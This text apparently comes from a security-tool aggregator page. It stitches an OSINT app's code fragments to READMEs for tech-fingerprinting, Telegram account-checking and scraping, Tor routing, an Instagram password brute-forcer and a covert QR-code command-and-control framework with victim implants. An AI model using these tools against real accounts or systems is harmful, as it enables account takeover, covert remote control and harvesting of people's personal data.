    name: ClassVar[str] = "Phone Number"
    description: ClassVar[str] = "A phone number entity with country code and validation"

    def init_properties(self):
        """Initialize phone number properties"""
        self.setup_properties({
            "number": str,
            "country_code": str,
            "carrier": str,
            "type": str,  # mobile, landline, etc.
            "verified": bool
        })

    def update_label(self):
        """Update the display label"""
        self.label = self.format_label(["country_code", "number"])

from dataclasses import dataclass
from typing import ClassVar, List
from .base import Transform
from entities.base import Entity
from entities.phone_number import PhoneNumber
from entities.location import Location
from ui.managers.status_manager import StatusManager

@dataclass
class PhoneLookup(Transform):
    name: ClassVar[str] = "Phone Number Lookup"
    description: ClassVar[str] = "Lookup phone number details and location"
    input_types: ClassVar[List[str]] = ["PhoneNumber"]
    output_types: ClassVar[List[str]] = ["Location"]

    async def run(self, entity: PhoneNumber, graph) -> List[Entity]:
        if not isinstance(entity, PhoneNumber):
            return []

        status = StatusManager.get()
        operation_id = status.start_loading("Phone Lookup")

        try:
            # Your phone number lookup logic here
            # Example: query an API for phone number details
            location = Location(properties={
                "country": "Example Country",
                "region": "Example Region",
                "carrier": "Example Carrier",
                "source": "PhoneLookup transform"
            })

            return [location]

        except Exception as e:
            status.set_text(f"Error during phone lookup: {str(e)}")
            return []

        finally:
            status.stop_loading(operation_id)

from PySide6.QtWidgets import (
    QWidget, QVBoxLayout, QHBoxLayout, QPushButton,
    QTextEdit, QLabel, QComboBox
)
from .base import BaseHelper
from qasync import asyncSlot

class DummyHelper(BaseHelper):
    """A dummy helper for testing"""

    name = "Dummy Helper" 
    description = "A dummy helper for testing"

    def setup_ui(self):
        """Initialize the helper's user interface"""
        # Create input text area
        self.input_label = QLabel("Input:")
        self.input_text = QTextEdit()
        self.input_text.setPlaceholderText("Enter text to process...")
        self.input_text.setMinimumHeight(100)

        # Create operation selector
        operation_layout = QHBoxLayout()
        self.operation_label = QLabel("Operation:")
        self.operation_combo = QComboBox()
        self.operation_combo.addItems(["Uppercase", "Lowercase", "Title Case"])
        operation_layout.addWidget(self.operation_label)
        operation_layout.addWidget(self.operation_combo)

        # Create process button
        self.process_btn = QPushButton("Process")
        self.process_btn.clicked.connect(self.process_text)

        # Create output text area
        self.output_label = QLabel("Output:")
        self.output_text = QTextEdit()
        self.output_text.setReadOnly(True)
        self.output_text.setMinimumHeight(100)

        # Add widgets to main layout
        self.main_layout.addWidget(self.input_label)
        self.main_layout.addWidget(self.input_text)
        self.main_layout.addLayout(operation_layout)
        self.main_layout.addWidget(self.process_btn)
        self.main_layout.addWidget(self.output_label)
        self.main_layout.addWidget(self.output_text)

        # Set dialog size
        self.resize(400, 500)

    @asyncSlot()
    async def process_text(self):
        """Process the input text based on selected operation"""
        text = self.input_text.toPlainText()
        operation = self.operation_combo.currentText()

        if operation == "Uppercase":
            result = text.upper()
        elif operation == "Lowercase":
            result = text.lower()
        else:  # Title Case
            result = text.title()

        self.output_text.setPlainText(result)

📄 License

This project is licensed under the Creative Commons Attribution-NonCommercial (CC BY-NC) License.

You are free to: - ✅ Share: Copy and redistribute the material - ✅ Adapt: Remix, transform, and build upon the material

Under these terms: - ℹ️ Attribution: You must give appropriate credit - 🚫 NonCommercial: No commercial use - 🔓 No additional restrictions

🙏 Acknowledgments

Special thanks to all library authors and contributors who made this project possible.

👨‍💻 Author

Created by ALW1EZ with AI ❤️

Wappalyzer-Next - Python library that uses Wappalyzer extension (and its fingerprints) to detect technologies

This project is a command line tool and python library that uses Wappalyzer extension (and its fingerprints) to detect technologies. Other projects emerged after discontinuation of the official open source project are using outdated fingerpints and lack accuracy when used on dynamic web-apps, this project bypasses those limitations.

Installation

Before installing wappalyzer, you will to install Firefox and geckodriver/releases">geckodriver. Below are detailed steps for setting up geckodriver but you may use google/youtube for help.

Step 1: Download GeckoDriver

1. Visit the official GeckoDriver releases page on GitHub:
   https://github.com/mozilla/geckodriver/releases
2. Download the version compatible with your system:
3. For Windows: geckodriver-vX.XX.X-win64.zip
4. For macOS: geckodriver-vX.XX.X-macos.tar.gz
5. For Linux: geckodriver-vX.XX.X-linux64.tar.gz
6. Extract the downloaded file to a folder of your choice.

Step 2: Add GeckoDriver to the System Path

To ensure Selenium can locate the GeckoDriver executable: - Windows: 1. Move the geckodriver.exe to a directory (e.g., C:\WebDrivers\). 2. Add this directory to the system's PATH: - Open Environment Variables. - Under System Variables, find and select the Path variable, then click Edit. - Click New and enter the directory path where geckodriver.exe is stored. - Click OK to save. - macOS/Linux: 1. Move the geckodriver file to /usr/local/bin/ or another directory in your PATH. 2. Use the following command in the terminal: bash sudo mv geckodriver /usr/local/bin/ Ensure /usr/local/bin/ is in your PATH.

Install as a command-line tool

pipx install wappalyzer

Install as a library

To use it as a library, install it with pip inside an isolated container e.g. venv or docker. You may also --break-system-packages to do a 'regular' install but it is not recommended.

Install with docker

1. Clone the repository:

git clone https://github.com/s0md3v/wappalyzer-next.git
cd wappalyzer-next

1. Build and run with Docker Compose:

docker compose up -d

1. To scan URLs using the Docker container:

2. Scan a single URL:

docker compose run --rm wappalyzer -i https://example.com

• Scan Multiple URLs from a file:

docker compose run --rm wappalyzer -i https://example.com -oJ output.json

For Users

Some common usage examples are given below, refer to list of all options for more information.

• Scan a single URL: wappalyzer -i https://example.com
• Scan multiple URLs from a file: wappalyzer -i urls.txt -t 10
• Scan with authentication: wappalyzer -i https://example.com -c "sessionid=abc123; token=xyz789"
• Export results to JSON: wappalyzer -i https://example.com -oJ results.json

Options

Note: For accuracy use 'full' scan type (default). 'fast' and 'balanced' do not use browser emulation.

• -i: Input URL or file containing URLs (one per line)
• --scan-type: Scan type (default: 'full')
• fast: Quick HTTP-based scan (sends 1 request)
• balanced: HTTP-based scan with more requests
• full: Complete scan using wappalyzer extension
• -t, --threads: Number of concurrent threads (default: 5)
• -oJ: JSON output file path
• -oC: CSV output file path
• -oH: HTML output file path
• -c, --cookie: Cookie header string for authenticated scans

For Developers

The python library is a available on pypi as wappalyzer and can be imported with the same name.

Using the Library

The main function you'll interact with is analyze():

from wappalyzer import analyze

# Basic usage
results = analyze('https://example.com')

# With options
results = analyze(
    url='https://example.com',
    scan_type='full',  # 'fast', 'balanced', or 'full'
    threads=3,
    cookie='sessionid=abc123'
)

analyze() Function Parameters

• url (str): The URL to analyze
• scan_type (str, optional): Type of scan to perform
• 'fast': Quick HTTP-based scan
• 'balanced': HTTP-based scan with more requests
• 'full': Complete scan including JavaScript execution (default)
• threads (int, optional): Number of threads for parallel processing (default: 3)
• cookie (str, optional): Cookie header string for authenticated scans

Return Value

Returns a dictionary with the URL as key and detected technologies as value:

{
  "https://github.com": {
    "Amazon S3": {"version": "", "confidence": 100, "categories": ["CDN"], "groups": ["Servers"]},
    "lit-html": {"version": "1.1.2", "confidence": 100, "categories": ["JavaScript libraries"], "groups": ["Web development"]},
    "React Router": {"version": "6", "confidence": 100, "categories": ["JavaScript frameworks"], "groups": ["Web development"]},
  "https://google.com" : {},
  "https://example.com" : {},
}}

FAQ

Why use Firefox instead of Chrome?

Firefox extensions are .xpi files which are essentially zip files. This makes it easier to extract data and slightly modify the extension to make this tool work.

What is the difference between 'fast', 'balanced', and 'full' scan types?

• fast: Sends a single HTTP request to the URL. Doesn't use the extension.
• balanced: Sends additional HTTP requests to .js files, /robots.txt annd does DNS queries. Doesn't use the extension.
• full: Uses the official Wappalyzer extension to scan the URL in a headless browser.

Telegram-Checker - A Python Tool For Checking Telegram Accounts Via Phone Numbers Or Usernames

Enhanced version of bellingcat's Telegram Phone Checker!

A Python script to check Telegram accounts using phone numbers or username.

✨ Features

• 🔍 Check single or multiple phone numbers and usernames
• 📁 Import numbers from text file
• 📸 Auto-download profile pictures
• 💾 Save results as JSON
• 🔐 Secure credential storage
• 📊 Detailed user information

🚀 Installation

1. Clone the repository:

git clone https://github.com/unnohwn/telegram-checker.git
cd telegram-checker

1. Install required packages:

pip install -r requirements.txt

📦 Requirements

Contents of requirements.txt:

telethon
rich
click
python-dotenv

Or install packages individually:

pip install telethon rich click python-dotenv

⚙️ Configuration

First time running the script, you'll need: - Telegram API credentials (get from https://my.telegram.org/apps) - Your Telegram phone number including countrycode + - Verification code (sent to your Telegram)

💻 Usage

Run the script:

python telegram_checker.py

Choose from options: 1. Check phone numbers from input 2. Check phone numbers from file 3. Check usernames from input 4. Check usernames from file 5. Clear saved credentials 6. Exit

📂 Output

Results are saved in: - results/ - JSON files with detailed information - profile_photos/ - Downloaded profile pictures

⚠️ Note

This tool is for educational purposes only. Please respect Telegram's terms of service and user privacy.

📄 License

MIT License

Torward - An Improved Version Based On The Torghost-Gn And Darktor Scripts, Designed To Enhance Anonymity On The Internet

Torward is an improved version based on the torghost-gn and darktor scripts, designed to enhance anonymity on the Internet. The tool prevents data leaks and forces all traffic from our computer to be routed exclusively through the Tor network, providing a high level of privacy in our connections.

Installation

   git clone https://github.com/chundefined/Torward.git

   cd Torward

   chmod +x install.sh

   ./install.sh

Security Enhancements

This version includes several key security improvements to protect your identity and ensure better network configuration:

1. IPv6 Leak Prevention
   IPv6 is now disabled to prevent any potential IP leaks. All traffic is forced through the Tor network by modifying system IPv6 settings in network_config.py.

2. Enhanced iptables Rules
   Strict iptables rules are implemented to ensure only Tor traffic is allowed. Non-Tor traffic is blocked, DNS queries are routed through Tor, and only essential connections to Tor ports are permitted. Additionally, IPv6 traffic is blocked to prevent leaks.

3. Tor Configuration Adjustments
   The torward file has been updated to enforce that all traffic, including DNS queries, is routed through Tor, improving anonymity.

TODO

• Get the IP from the last Tor exit node: Currently, the script does not display the IP of the last Tor exit node in the console. This can be achieved by using Tor's API to get the public IP of the exit node.
• Better error handling: Ensure that the tool properly handles errors, such as Tor disconnection or network issues.

Instagram-Brute-Force-2024 - Instagram Brute Force 2024 Compatible With Python 3.13 / X64 Bit / Only Chrome Browser

Instagram Brute Force CPU/GPU Supported 2024

(Use option 2 while running the script.)

(Option 1 is on development)

(Chrome should be downloaded in device.)

Compatible and Tested (GUI Supported Operating Systems Only)

Python 3.13 x64 bit Unix / Linux / Mac / Windows 8.1 and higher

Install Requirements

pip install -r requirements.txt

How to run

python3 instagram_brute_force.py [instagram_username_without_hashtag]
python3 instagram_brute_force.py mrx161

QuickResponseC2 - A Command & Control Server That Leverages QR Codes To Send Commands And Receive Results From Remote Systems

QuickResponseC2 is a stealthy Command and Control (C2) framework that enables indirect and covert communication between the attacker and victim machines via an intermediate HTTP/S server. All network activity is limited to uploading and downloading images, making it an fully undetectable by IPS/IDS Systems and an ideal tool for security research and penetration testing.

Capabilities:

• Command Execution via QR Codes:
  Users can send custom commands to the victim machine, encoded as QR codes.
  Victims scan the QR code, which triggers the execution of the command on their system.
  The command can be anything from simple queries to complex operations based on the test scenario.

• Result Retrieval:
  Results of the executed command are returned from the victim system and encoded into a QR code.
  The server decodes the result and provides feedback to the attacker for further analysis or follow-up actions.

• Built-in HTTP Server:
  The tool includes a lightweight HTTP server that facilitates the victim machine's retrieval of command QR codes.
  Results are sent back to the server as QR code images, and they are automatically saved with unique filenames for easy management.
  The attacker's machine handles multiple requests, with HTTP logs organized and saved separately.

• Stealthy Communication:
  QuickResponseC2 operates under the radar, with minimal traces, providing a covert way to interact with the victim machine without alerting security defenses.
  Ideal for security assessments or testing command-and-control methodologies without being detected.

• File Handling:
  The tool automatically saves all QR codes (command and result) to the server_files directory, using sequential filenames like command0.png, command1.png, etc.
  Decoding and processing of result files are handled seamlessly.

• User-Friendly Interface:
  The tool is operated via a simple command-line interface, allowing users to set up a C2 server, send commands, and receive results with ease.
  No additional complex configurations or dependencies are needed.

Usage

1. First, install the Dependencies - pip3 install -r requirements.txt
2. Then, run the main.py python3 main.py
3. Choose between the options:

1 - Run the C2 Server

2 - Build the Victim Implant

1. Enjoy!

Demonstration

https://github.com/user-attachments/assets/382e9350-d650-44e5-b8ef-b43ec90b315d

Workflow Overview

1. Initialization of the C2 Server

• The attacker launches QuickResponseC2, which creates a lightweight HTTP server (default port: 8080).
• This server serves as the intermediary between the attacker and victim, eliminating any direct connection between them.

2. Command Delivery via QR Codes

• The attacker encodes a command into a QR code and saves it as commandX.png on the HTTP server.
• The victim machine periodically polls the server (e.g., every 1 second) to check for the presence of a new command file.

3. Victim Command Execution

• Once the victim detects a new QR code file (commandX.png), it downloads and decodes the image to retrieve the command.
• The decoded command is executed on the victim's system.

4. Result Encoding and Uploading

• The victim encodes the output of the executed command into a QR code and saves it locally as resultX.png.
• The result file is then uploaded to the HTTP server.

5. Result Retrieval by the Attacker

• The attacker periodically checks the server for new result files (resultX.png).
• Once found, the result file is downloaded and decoded to retrieve the output of the executed command.

TODO & Contribution

• [x] Generate a Template for the Implant
• [ ] Compile the implant as an .exe automatically
• [x] Save the generated QR Code as bytes in a variable instead of a file - VICTIM Side
• [ ] Add an obfuscation on the commands decoded from the QR Codes automatically

Feel free to fork and contribute! Pull requests are welcome.

Telegram-Scraper - A Powerful Python Script That Allows You To Scrape Messages And Media From Telegram Channels Using The Telethon Library

A powerful Python script that allows you to scrape messages and media from Telegram channels using the Telethon library. Features include real-time continuous scraping, media downloading, and data export capabilities.

___________________  _________
\__    ___/  _____/ /   _____/
  |    | /   \  ___ \_____  \ 
  |    | \    \_\  \/        \
  |____|  \______  /_______  /
                 \/        \/

Features 🚀

• Scrape messages from multiple Telegram channels
• Download media files (photos, documents)
• Real-time continuous scraping
• Export data to JSON and CSV formats
• SQLite database storage
• Resume capability (saves progress)
• Media reprocessing for failed downloads
• Progress tracking
• Interactive menu interface

Prerequisites 📋

Before running the script, you'll need:

• Python 3.7 or higher
• Telegram account
• API credentials from Telegram

Required Python packages

pip install -r requirements.txt

Contents of requirements.txt:

telethon
aiohttp
asyncio

Getting Telegram API Credentials 🔑

1. Visit https://my.telegram.org/auth
2. Log in with your phone number
3. Click on "API development tools"
4. Fill in the form:
5. App title: Your app name
6. Short name: Your app short name
7. Platform: Can be left as "Desktop"
8. Description: Brief description of your app
9. Click "Create application"
10. You'll receive:
11. api_id: A number
12. api_hash: A string of letters and numbers

Keep these credentials safe, you'll need them to run the script!

Setup and Running 🔧

1. Clone the repository:

git clone https://github.com/unnohwn/telegram-scraper.git
cd telegram-scraper

1. Install requirements:

pip install -r requirements.txt

1. Run the script:

python telegram-scraper.py

1. On first run, you'll be prompted to enter:
2. Your API ID
3. Your API Hash
4. Your phone number (with country code)
5. Your phone number (with country code) or bot, but use the phone number option when prompted second time.
6. Verification code (sent to your Telegram)

Initial Scraping Behavior 🕒

When scraping a channel for the first time, please note:

• The script will attempt to retrieve the entire channel history, starting from the oldest messages
• Initial scraping can take several minutes or even hours, depending on:
• The total number of messages in the channel
• Whether media downloading is enabled
• The size and number of media files
• Your internet connection speed
• Telegram's rate limiting
• The script uses pagination and maintains state, so if interrupted, it can resume from where it left off
• Progress percentage is displayed in real-time to track the scraping status
• Messages are stored in the database as they are scraped, so you can start analyzing available data even before the scraping is complete

Usage 📝

The script provides an interactive menu with the following options:

• [A] Add new channel
• Enter the channel ID or channelname
• [R] Remove channel
• Remove a channel from scraping list
• [S] Scrape all channels
• One-time scraping of all configured channels
• [M] Toggle media scraping
• Enable/disable downloading of media files
• [C] Continuous scraping
• Real-time monitoring of channels for new messages
• [E] Export data
• Export to JSON and CSV formats
• [V] View saved channels
• List all saved channels
• [L] List account channels
• List all channels with ID:s for account
• [Q] Quit

Channel IDs 📢

You can use either: - Channel username (e.g., channelname) - Channel ID (e.g., -1001234567890)

Data Storage 💾

Database Structure

Data is stored in SQLite databases, one per channel: - Location: ./channelname/channelname.db - Table: messages - id: Primary key - message_id: Telegram message ID - date: Message timestamp - sender_id: Sender's Telegram ID - first_name: Sender's first name - last_name: Sender's last name - username: Sender's username - message: Message text - media_type: Type of media (if any) - media_path: Local path to downloaded media - reply_to: ID of replied message (if any)

Media Storage 📁

Media files are stored in: - Location: ./channelname/media/ - Files are named using message ID or original filename

Exported Data 📊

Data can be exported in two formats: 1. CSV: ./channelname/channelname.csv - Human-readable spreadsheet format - Easy to import into Excel/Google Sheets

1. JSON: ./channelname/channelname.json
2. Structured data format
3. Ideal for programmatic processing

Features in Detail 🔍

Continuous Scraping

The continuous scraping feature ([C] option) allows you to: - Monitor channels in real-time - Automatically download new messages - Download media as it's posted - Run indefinitely until interrupted (Ctrl+C) - Maintains state between runs

Media Handling

The script can download: - Photos - Documents - Other media types supported by Telegram - Automatically retries failed downloads - Skips existing files to avoid duplicates

Error Handling 🛠️

The script includes: - Automatic retry mechanism for failed media downloads - State preservation in case of interruption - Flood control compliance - Error logging for failed operations

Limitations ⚠️

• Respects Telegram's rate limits
• Can only access public channels or channels you're a member of
• Media download size limits apply as per Telegram's restrictions

Contributing 🤝

Contributions are welcome! Please feel free to submit a Pull Request.

License 📄

This project is licensed under the MIT License - see the LICENSE file for details.

Disclaimer ⚖️

This tool is for educational purposes only. Make sure to: - Respect Telegram's Terms of Service - Obtain necessary permissions before scraping - Use responsibly and ethically - Comply with data protection regulations